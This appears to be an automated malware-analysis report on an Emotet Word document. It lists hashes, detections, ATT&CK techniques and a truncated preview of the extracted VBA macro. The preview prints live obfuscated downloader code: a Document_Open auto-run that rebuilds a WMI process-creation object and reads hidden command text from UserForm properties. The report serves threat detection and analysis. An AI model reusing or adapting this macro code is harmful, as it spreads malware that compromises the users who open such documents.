Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7c2bb8d4e3e364a3…

MALICIOUS

Office (OLE)

229.3 KB Created: 2020-08-14 13:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d359ba9dbfa7551d79322678d3ba2bf2 SHA-1: e7fc07723065d1cdc5bf640494a15d60545b7015 SHA-256: 7c2bb8d4e3e364a31f821579c168eb366559a16cef1b4cfd8ed2718acdba86ec
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a Document_Open VBA macro that utilizes a hidden UserForm to execute obfuscated code. This behavior, combined with the ClamAV detection signature 'Doc.Downloader.Emotet-9321492-0', strongly indicates Emotet activity. The VBA code is designed to download and execute a secondary payload, a common tactic for this malware family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9321492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9321492-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8121 bytes
SHA-256: 865c37ae518b467a18f7f7cfd8ac4fb8e2c74b2d36657a71cf7fdd09ff330211
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T21ij7bqild"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Wc3pm1c1lic52.N6fjvz6amlrvphrnvb
End Sub


Attribute VB_Name = "Wc3pm1c1lic52"
Attribute VB_Base = "0{21EC88E0-2652-4852-9F94-F095A9F9CB8C}{7358074F-7940-48EB-9F37-472C2AFD978B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function N6fjvz6amlrvphrnvb()
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
G6egm9x010n9ugum = Wc3pm1c1lic52.HelpContextId + 100
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Kovyrkix9z47vw66ex = ChrW(G6egm9x010n9ugum + (100 + 35) / 9)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Iwjjfiegnkclfsh = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Kovyrkix9z47vw66ex + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Wc3pm1c1lic52.Z1q28iz2_md11prkt + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Sbdirk8tmgxacxpsfm = Lg1qi7igjuoxuxja(Iwjjfiegnkclfsh)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Set H5pr4tjdp7ga9j = CreateObject(Sbdirk8tmgxacxpsfm)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
X97ch7vtoc8m = Wc3pm1c1lic52.W33z3numjrj8h.ControlTipText
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Bl5fx5xya148hdev = N92qkzwncpr4g + (Sbdirk8tmgxacxpsfm + Kovyrkix9z47vw66ex + Wc3pm1c1lic52.G4g4vozybiykp2c.ControlTipText + X97ch7vtoc8m)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Nzmau7kabia9ke7lal = Bl5fx5xya148hdev + Wc3pm1c1lic52.Z1q28iz2_md11prkt
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIM
... (truncated)

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